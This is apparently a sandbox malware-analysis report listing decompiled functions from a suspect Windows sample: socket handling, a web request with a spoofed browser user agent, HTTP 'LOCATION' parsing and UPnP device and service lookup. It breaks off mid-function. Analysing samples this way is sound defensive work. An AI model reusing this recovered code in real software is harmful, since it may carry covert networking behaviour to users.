Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

0x0040e84a
0x0040e84c
0x0040e84e
0x0040e9d6
0x0040e9ed
0x0040e9f2
0x0040ea00
0x0040ea07
0x0040ea0c
0x0040ea19
0x0040ea1f
0x00000000
0x0040ea1f
0x0040e866
0x0040e86f
0x0040e872
0x0040e935
0x0040e947
0x0040e950
0x0040e96b
0x0040e983
0x0040e98d
0x0040e994
0x0040e998
0x0040e9a2
0x0040e9b1
0x0040e9c0
0x0040e9d1
0x0040e952
0x0040e952
0x0040e955
0x0040e958
0x0040e966
0x0040e966
0x0040e937
0x0040e946
0x0040e946
0x0040e878
0x0040e878
0x0040e87b
0x0040ea2e
0x0040ea2e
0x0040e881
0x0040e887
0x0040e8a3
0x0040e8b4
0x0040e8cc
0x0040e8d6
0x0040e8e0
0x0040e8e4
0x0040e8e8
0x0040e8fa
0x0040e906
0x0040e90a
0x0040e914
0x0040e91b
0x00000000
0x0040e921
0x0040e921
0x0040e92d
0x0040e92d
0x0040e889
0x0040e89b
0x0040e89b
0x0040e887
0x0040e87b

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 26865f6f9a7a2407e5d3755a8cdf3ada0c05da486e3de92f16a63baf35bb6218
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 26865f6f9a7a2407e5d3755a8cdf3ada0c05da486e3de92f16a63baf35bb6218
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

0x0040c490
0x0040c499
0x0040c4a0
0x0040c4bb
0x0040c4de
0x0040c4e7
0x0040c4f6
0x0040c513
0x0040c527
0x0040c534
0x0040c53f
0x0040c562
0x0040c567
0x0040c56d
0x0040c56d
0x0040c534
0x0040c4e9
0x0040c4ee
0x0040c4ee
0x0040c4b2
0x0040c4b5
0x0040c4b5
0x0040c57d

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNEL32(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

HTTP/1.1 200 OK, xrefs: 0040C4FF
LOCATION: , xrefs: 0040C515

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}

0x0040d446
0x0040d45d
0x0040d464
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNEL32(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 12.1, APIs: 8, Instructions: 97
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x416398);
				_t35 = CreateFileW(0x4165c8, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

0x004045fb
0x00404615
0x0040461b
0x00404622
0x0040463c
0x00404643
0x0040470b
0x00000000
0x0040470f
0x0040465b
0x00404662
0x00404701
0x00404705
0x00000000
0x00404705
0x00404674
0x0040467a
0x0040467d
0x0040468a
0x00404692
0x00404697
0x0040469a
0x004046a1
0x004046ae
0x004046ba
0x004046e1
0x004046e6
0x004046f2
0x00000000
0x004046f2
0x004046c0
0x00000000
0x004046c5
0x00000000
0x004046a3
0x00000000
0x0040468c
0x004046fb
0x00000000
0x004046fb
0x00404718

APIs

InitializeCriticalSection.KERNEL32(00416398,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNEL32(004165C8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

0x0040c8e6
0x0040c8ed
0x0040c8f7
0x0040c900
0x0040c908
0x0040c918
0x0040c92a
0x0040c936
0x0040c940
0x0040c944
0x0040c94d
0x0040c955
0x0040ca33
0x0040c927
0x00000000
0x0040c965
0x0040c965
0x0040c96f
0x0040c978
0x0040c983
0x0040c9a4
0x0040c9af
0x0040c9b4
0x0040c9b7
0x0040c9be
0x0040c9c0
0x0040c9ca
0x0040c9d3
0x0040c9db
0x0040c9f3
0x0040c9f8
0x0040c9f8
0x0040c9ff
0x0040c9ff
0x0040ca11
0x0040ca11
0x0040c9be
0x0040ca17
0x0040ca17
0x0040ca21
0x0040ca31
0x00000000
0x00000000
0x0040ca23
0x0040ca21
0x00000000
0x0040c955
0x0040c92a
0x0040ca38
0x0040ca3e

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

0x0040c706
0x0040c70d
0x0040c717
0x0040c720
0x0040c728
0x0040c738
0x0040c74a
0x0040c756
0x0040c760
0x0040c764
0x0040c76d
0x0040c775
0x0040c853
0x0040c747
0x00000000
0x0040c785
0x0040c785
0x0040c78f
0x0040c798
0x0040c7a3
0x0040c7c4
0x0040c7cf
0x0040c7d4
0x0040c7d7
0x0040c7de
0x0040c7e0
0x0040c7ea
0x0040c7f3
0x0040c7fb
0x0040c813
0x0040c818
0x0040c818
0x0040c81f
0x0040c81f
0x0040c831
0x0040c831
0x0040c7de
0x0040c837
0x0040c837
0x0040c841
0x0040c851
0x00000000
0x00000000
0x0040c843
0x0040c841
0x00000000
0x0040c775
0x0040c74a
0x0040c858
0x0040c85e

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040df91
0x0040df96
0x0040df9b
0x0040dfa4
0x0040dfa8
0x0040dfaa
0x0040dfb0
0x0040dfb5
0x0040dfb7
0x0040dfbf
0x0040dfc7
0x00000000
0x00000000
0x0040dfc9
0x00000000
0x0040dfc7
0x0040dfcb
0x0040dfcb
0x0040dfcd
0x0040dfce
0x0040dfd6
0x0040dfe9
0x0040dfeb
0x0040dff0
0x0040e08d
0x0040e08e
0x0040e09c
0x0040dff6
0x0040dffb
0x0040e003
0x0040e009
0x0040e00f
0x0040e017
0x0040e034
0x0040e083
0x0040e088
0x0040e08b
0x00000000
0x0040e036
0x0040e036
0x0040e03c
0x0040e040
0x0040e046
0x0040e04c
0x0040e050
0x0040e056
0x0040e060
0x0040e066
0x0040e070
0x0040e076
0x0040e081
0x0040e081
0x0040e034
0x0040dfd8
0x0040dfde
0x0040dfde
0x0040df9e
0x0040dfa1
0x0040dfa1

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
